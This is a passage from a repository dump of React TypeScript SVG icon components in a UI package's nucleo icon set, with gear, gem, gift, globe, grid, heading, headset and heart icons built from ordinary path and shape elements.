    "content": "import { SVGProps } from \"react\";\n\nexport function Gear3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"8.999\"\n          fill=\"currentColor\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"m15.175,7.278l-.929-.328c-.102-.261-.219-.52-.363-.77s-.31-.48-.485-.699l.18-.968c.125-.671-.187-1.349-.778-1.69l-.351-.203c-.592-.342-1.334-.273-1.853.171l-.745.637c-.56-.086-1.133-.086-1.703,0l-.745-.638c-.519-.444-1.262-.513-1.853-.171l-.351.203c-.592.341-.903,1.019-.778,1.69l.18.965c-.36.449-.646.946-.852,1.474l-.924.326c-.644.227-1.075.836-1.075,1.519v.405c0,.683.431,1.292,1.075,1.519l.929.328c.102.261.218.519.363.769s.31.48.485.7l-.181.968c-.125.671.187,1.349.778,1.69l.351.203c.592.342,1.334.273,1.853-.171l.745-.638c.559.086,1.132.086,1.701,0l.746.639c.519.444,1.262.513,1.853.171l.351-.203c.592-.342.903-1.019.778-1.69l-.18-.966c.359-.449.646-.945.851-1.473l.925-.326c.644-.227,1.075-.836,1.075-1.519v-.405c0-.683-.431-1.292-1.075-1.519h.002Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gem.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Gem(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.053\"\n          x2=\"15.951\"\n          y1=\"6.75\"\n          y2=\"6.75\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"7.88 3.25 6.057 6.75 8.765 15.723\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"10.12 3.25 11.943 6.75 9.235 15.723\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.269,6.123l2.404-2.556c.191-.203,.458-.318,.738-.318h7.178c.28,0,.547,.115,.738,.318l2.404,2.556c.33,.351,.36,.885,.07,1.27l-5.993,7.956c-.403,.535-1.214,.535-1.616,0L2.199,7.393c-.29-.385-.26-.918,.07-1.27Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gift-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GiftFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3,9.5v4.75c0,1.517,1.233,2.75,2.75,2.75h2.5v-7.5H3Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9.75,9.5v7.5h2.5c1.517,0,2.75-1.233,2.75-2.75v-4.75h-5.25Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.25,4.5h-.462c.135-.307,.212-.644,.212-1,0-1.378-1.121-2.5-2.5-2.5-1.761,0-2.864,1.231-3.5,2.339-.636-1.107-1.739-2.339-3.5-2.339-1.379,0-2.5,1.122-2.5,2.5,0,.356,.077,.693,.212,1h-.462c-.965,0-1.75,.776-1.75,1.75s.785,1.75,1.75,1.75H15.25c.965,0,1.75-.782,1.75-1.75s-.785-1.75-1.75-1.75Zm-2.75-2c.552,0,1,.449,1,1s-.448,1-1,1h-2.419c.405-.86,1.176-2,2.419-2ZM4.5,3.5c0-.551,.448-1,1-1,1.234,0,2.007,1.14,2.415,2h-2.415c-.552,0-1-.449-1-1Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gift.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Gift(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"5.25\"\n          y2=\"16.25\"\n        />\n        <path\n          d=\"M3.75,3.5c0-.966,.784-1.75,1.75-1.75,2.589,0,3.5,3.5,3.5,3.5h-3.5c-.966,0-1.75-.784-1.75-1.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.5,5.25h-3.5s.911-3.5,3.5-3.5c.966,0,1.75,.784,1.75,1.75s-.784,1.75-1.75,1.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.25,8.25v6c0,1.105-.895,2-2,2H5.75c-1.105,0-2-.895-2-2v-6\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"3\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"5.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/globe-pointer.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GlobePointer(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9.926,16.11c-.461,.092-.938,.14-1.426,.14-4.004,0-7.25-3.246-7.25-7.25S4.496,1.75,8.5,1.75s7.25,3.246,7.25,7.25c0,.264-.014,.524-.041,.78\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.126,10.768l5.94,2.17c.25,.091,.243,.448-.011,.529l-2.719,.87-.87,2.719c-.081,.254-.438,.261-.529,.011l-2.17-5.94c-.082-.223,.135-.44,.359-.359Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.75,9c0-1.657-3.246-3-7.25-3S1.25,7.343,1.25,9c0,1.646,3.205,2.983,7.175,3\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.486,8.293c-.147-3.672-1.428-6.543-2.986-6.543-1.657,0-3,3.246-3,7.25s1.343,7.25,3,7.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/globe-search.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GlobeSearch(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9.714,15.461c-.234,.025-.473,.039-.714,.039-.589,0-1.348-1.05-1.817-2.849,.601,.063,1.211,.099,1.817,.099,.244,0,.485-.004,.723-.014,.414-.017,.736-.366,.719-.78-.016-.415-.418-.74-.779-.719-.218,.009-.439,.013-.662,.013-.761,0-1.467-.05-2.115-.135-.086-.647-.135-1.354-.135-2.115s.05-1.467,.135-2.115c.647-.085,1.354-.135,2.115-.135s1.467,.05,2.115,.135c.086,.647,.135,1.354,.135,2.115,0,.226-.005,.45-.013,.67-.017,.414,.307,.762,.721,.778,.409,.017,.762-.307,.777-.721,.01-.24,.015-.482,.015-.728,0-.606-.036-1.216-.099-1.817,1.8,.469,2.849,1.228,2.849,1.817,0,.241-.013,.48-.039,.714-.044,.412,.254,.782,.665,.827,.401,.043,.782-.252,.827-.665,.03-.288,.047-.581,.047-.876,0-4.411-3.589-8-8-8S1,4.589,1,9s3.589,8,8,8c.296,0,.589-.016,.876-.047,.412-.045,.709-.415,.665-.827-.045-.412-.421-.708-.827-.665Zm-4.365-4.644c-1.8-.469-2.849-1.228-2.849-1.817s1.049-1.349,2.849-1.817c-.063,.601-.099,1.211-.099,1.817s.036,1.216,.099,1.817Zm3.651-5.567c-.606,0-1.216,.036-1.817,.099,.469-1.8,1.228-2.849,1.817-2.849s1.348,1.05,1.817,2.849c-.601-.063-1.211-.099-1.817-.099Zm5.98,1.205c-.732-.372-1.618-.658-2.576-.859-.201-.958-.487-1.844-.859-2.575,1.54,.658,2.776,1.894,3.434,3.434ZM6.455,3.02c-.372,.732-.658,1.618-.859,2.575-.958,.201-1.844,.487-2.576,.859,.658-1.54,1.894-2.776,3.434-3.434ZM3.02,11.545c.732,.372,1.618,.658,2.575,.859,.201,.958,.487,1.844,.859,2.575-1.54-.658-2.776-1.894-3.434-3.434Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M16.575,15.514c.263-.446,.425-.96,.425-1.514,0-1.654-1.346-3-3-3s-3,1.346-3,3,1.346,3,3,3c.555,0,1.068-.162,1.514-.425l1.205,1.205c.146,.146,.338,.22,.53,.22s.384-.073,.53-.22c.293-.293,.293-.768,0-1.061l-1.205-1.205Zm-4.075-1.514c0-.827,.673-1.5,1.5-1.5s1.5,.673,1.5,1.5c0,.413-.168,.787-.438,1.058,0,0-.002,0-.002,.002s0,.002-.002,.002c-.271,.271-.645,.438-1.058,.438-.827,0-1.5-.673-1.5-1.5Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/globe.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Globe(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <ellipse\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          rx=\"7.25\"\n          ry=\"3\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <ellipse\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          rx=\"3\"\n          ry=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/globe2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Globe2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.25,8.25h-3.517c-.157-3.641-1.454-7.25-3.733-7.25s-3.576,3.609-3.733,7.25H1.75v1.5h3.517c.157,3.641,1.454,7.25,3.733,7.25s3.576-3.609,3.733-7.25h3.517v-1.5ZM9,2.5c.858,0,2.079,2.216,2.233,5.75H6.767c.154-3.534,1.375-5.75,2.233-5.75Zm0,13c-.858,0-2.079-2.216-2.233-5.75h4.467c-.154,3.534-1.375,5.75-2.233,5.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9,17c-4.411,0-8-3.589-8-8S4.589,1,9,1s8,3.589,8,8-3.589,8-8,8Zm0-14.5c-3.584,0-6.5,2.916-6.5,6.5s2.916,6.5,6.5,6.5,6.5-2.916,6.5-6.5-2.916-6.5-6.5-6.5Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/greek-temple.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GreekTemple(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"15.25\"\n          y1=\"15.25\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.25\"\n          x2=\"7.25\"\n          y1=\"15.25\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"3.75\"\n          y1=\"15.25\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.75\"\n          x2=\"10.75\"\n          y1=\"15.25\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.25\"\n          x2=\"14.25\"\n          y1=\"15.25\"\n          y2=\"9.75\"\n        />\n        <path\n          d=\"M9,7.25h5.25c.552,0,1-.448,1-1v-.414c0-.362-.196-.696-.511-.873l-5.25-2.94c-.304-.17-.674-.17-.977,0L3.261,4.964c-.316,.177-.511,.511-.511,.873v.414c0,.552,.448,1,1,1h5.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"9\" cy=\"4.75\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/grid-layout-rows.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GridLayoutRows(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"4.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 10) rotate(-180)\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 26) rotate(-180)\"\n          x=\"2.75\"\n          y=\"10.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/grid-plus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GridPlus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"10.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"10.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13\"\n          x2=\"13\"\n          y1=\"10.25\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.5\"\n          x2=\"10.5\"\n          y1=\"12.75\"\n          y2=\"12.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/grid.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GridIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"10.75\"\n          y=\"2.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"10.75\"\n        />\n        <rect\n          height=\"4.5\"\n          width=\"4.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"10.75\"\n          y=\"10.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/grip-dots-vertical.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GripDotsVertical(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"6.75\"\n          cy=\"9\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"6.75\"\n          cy=\"3.75\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"6.75\"\n          cy=\"14.25\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"11.25\"\n          cy=\"9\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"11.25\"\n          cy=\"3.75\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"11.25\"\n          cy=\"14.25\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/heading-1.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Heading1(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"2.75\"\n          y1=\"4.75\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.75\"\n          x2=\"8.75\"\n          y1=\"4.75\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.75\"\n          x2=\"8.75\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <path\n          d=\"M14.75,13.25V4.75s-.974,1.713-3.04,2.108\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/heading-2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Heading2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.25\"\n          x2=\"1.25\"\n          y1=\"4.75\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.25\"\n          x2=\"7.25\"\n          y1=\"4.75\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.25\"\n          x2=\"7.25\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <path\n          d=\"M10.5,6.931c.384-1.424,1.707-2.203,3.137-2.181,1.43,.022,2.774,.69,2.86,2.181s-1.43,2.492-2.998,3.16c-1.569,.668-2.87,1.291-2.998,3.16h6\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/headset.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Headset(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13,13.25l-.342,1.447c-.208,.909-1.017,1.553-1.949,1.553h-1.959\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M3.75,7.353l-1.123,.567c-.813,.411-1.246,1.319-1.053,2.209l.335,1.545c.199,.92,1.013,1.576,1.955,1.576h1.137s-1.084-5-1.084-5c-.099-.403-.166-.817-.166-1.25,0-2.899,2.351-5.25,5.25-5.25s5.25,2.351,5.25,5.25c0,.433-.067,.847-.166,1.25l-1.084,5h1.137c.941,0,1.755-.656,1.955-1.576l.335-1.545c.193-.89-.24-1.799-1.053-2.209l-1.123-.567\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/heart-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function HeartFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.164,2c-1.195,.015-2.324,.49-3.164,1.306-.84-.815-1.972-1.291-3.178-1.306-2.53,.015-4.582,2.084-4.572,4.609,0,5.253,5.306,8.429,6.932,9.278,.256,.133,.537,.2,.818,.2s.562-.067,.817-.2c1.626-.848,6.933-4.024,6.933-9.275,.009-2.528-2.042-4.597-4.586-4.612Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/heart.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Heart(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M8.529,15.222c.297,.155,.644,.155,.941,0,1.57-.819,6.529-3.787,6.529-8.613,.008-2.12-1.704-3.846-3.826-3.859-1.277,.016-2.464,.66-3.173,1.72-.71-1.06-1.897-1.704-3.173-1.72-2.123,.013-3.834,1.739-3.826,3.859,0,4.826,4.959,7.794,6.529,8.613Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/hexadecagon-star.tsx",
